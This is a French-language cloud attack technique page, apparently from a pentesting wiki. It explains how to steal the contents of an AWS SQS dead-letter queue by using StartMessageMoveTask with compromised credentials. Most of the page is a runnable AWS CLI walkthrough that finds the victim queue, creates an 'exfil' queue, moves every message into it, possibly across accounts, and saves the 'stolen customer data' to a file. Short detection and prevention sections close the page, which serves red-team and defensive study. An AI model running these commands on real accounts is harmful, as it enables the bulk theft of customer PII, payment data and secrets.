AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask

Reading time: 7 minutes

Description

Abuser des tâches de déplacement de messages SQS pour voler tous les messages accumulés dans la Dead-Letter Queue (DLQ) d'une victime en les redirigeant vers une file contrôlée par l'attaquant via sqs:StartMessageMoveTask. Cette technique exploite la fonctionnalité légitime de récupération de messages d'AWS pour exfiltrer des données sensibles qui se sont accumulées dans les DLQs au fil du temps.

What is a Dead-Letter Queue (DLQ)?

Une Dead-Letter Queue est une file SQS spéciale où les messages sont automatiquement envoyés lorsqu'ils n'ont pas pu être traités avec succès par l'application principale. Ces messages échoués contiennent souvent :

• Des données sensibles d'application qui n'ont pas pu être traitées
• Des détails d'erreur et des informations de débogage
• Des informations personnelles identifiables (PII)
• Des tokens API, identifiants ou autres secrets
• Des données transactionnelles critiques pour l'activité

Les DLQs servent de "cimetière" pour les messages échoués, ce qui en fait des cibles intéressantes car elles accumulent des données sensibles avec le temps que les applications n'ont pas pu gérer correctement.

Attack Scenario

Real-world example :

1. E-commerce application traite les commandes clients via SQS
2. Certaines commandes échouent (problèmes de paiement, inventaire, etc.) et sont déplacées vers une DLQ
3. La DLQ s'accumule pendant des semaines/mois avec des commandes échouées contenant des données clients : {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
4. L'attaquant obtient des identifiants AWS avec des permissions SQS
5. L'attaquant découvre que la DLQ contient des milliers de commandes échouées avec des données sensibles
6. Au lieu d'essayer d'accéder aux messages individuellement (lent et évident), l'attaquant utilise StartMessageMoveTask pour transférer en masse TOUS les messages vers sa propre file
7. L'attaquant extrait toutes les données sensibles historiques en une seule opération

Requirements

• La file source doit être configurée comme DLQ (référencée par au moins une RedrivePolicy de file).
• Permissions IAM (exécutées en tant que le principal victime compromis) :
• Sur la DLQ (source) : sqs:StartMessageMoveTask, sqs:GetQueueAttributes.
• Sur la file de destination : permission d'envoyer des messages (par ex., politique de file autorisant sqs:SendMessage depuis le principal victime). Pour des destinations dans le même compte, c'est typiquement autorisé par défaut.
• Si SSE-KMS est activé : sur la CMK source kms:Decrypt, et sur la CMK de destination kms:GenerateDataKey, kms:Encrypt.

Impact

Impact potentiel : Exfiltrer rapidement des payloads sensibles accumulés dans les DLQs (événements échoués, PII, tokens, payloads d'application) en utilisant les APIs natives SQS. Fonctionne cross-account si la politique de la file de destination permet SendMessage depuis le principal victime.

How to Abuse

• Identifier l'ARN de la DLQ victime et s'assurer qu'elle est bien référencée comme DLQ par au moins une file (n'importe quelle file).
• Créer ou choisir une file de destination contrôlée par l'attaquant et récupérer son ARN.
• Démarrer une tâche de déplacement de messages depuis la DLQ victime vers votre file de destination.
• Surveiller la progression ou annuler si nécessaire.

CLI Example: Exfiltrating Customer Data from E-commerce DLQ

Scenario : Un attaquant a compromis des identifiants AWS et découvert qu'une application e-commerce utilise SQS avec une DLQ contenant des tentatives de traitement de commandes clients échouées.

1. Discover and examine the victim DLQ

# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq

# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"

2. Créer une file d'attente de destination contrôlée par l'attaquant

# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)

echo "Created exfiltration queue: $ATTACKER_Q_ARN"

3. Exécuter le vol massif de messages

# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)

echo "Move task started: $TASK_RESPONSE"

# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10

4. Récupérer les données sensibles volées

# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5

# Example of what an attacker might see:
# {
#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
#   "MessageId": "12345-abcd-6789-efgh"
# }

# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)

if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi

echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done

Notes entre comptes

• La file de destination doit avoir une resource policy autorisant le principal de la victime à sqs:SendMessage (et, si utilisé, des grants/autorisations KMS).

Pourquoi cette attaque est efficace

1. Fonctionnalité AWS légitime: Utilise une fonctionnalité intégrée d'AWS, ce qui rend l'activité difficile à détecter comme malveillante
2. Opération en masse: Transfère rapidement des milliers de messages au lieu d'un accès lent message par message
3. Données historiques: Les DLQs accumulent des données sensibles sur plusieurs semaines/mois
4. Peu visible: De nombreuses organisations ne surveillent pas de près l'accès aux DLQs
5. Fonctionne entre comptes: Peut exfiltrer vers le compte AWS de l'attaquant si les permissions le permettent

Détection et prévention

Détection

Surveillez CloudTrail pour des appels API StartMessageMoveTask suspects :

{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}

Prévention

1. Principe du moindre privilège : Restreindre les permissions sqs:StartMessageMoveTask aux rôles strictement nécessaires
2. Surveiller les DLQs : Configurer des alarmes CloudWatch pour une activité inhabituelle des DLQs
3. Politiques inter-comptes : Examiner attentivement les politiques de file d'attente SQS permettant un accès inter-comptes
4. Chiffrer les DLQs : Utiliser SSE-KMS avec des politiques de clé restreintes
5. Nettoyage régulier : Ne laissez pas les données sensibles s'accumuler indéfiniment dans les DLQs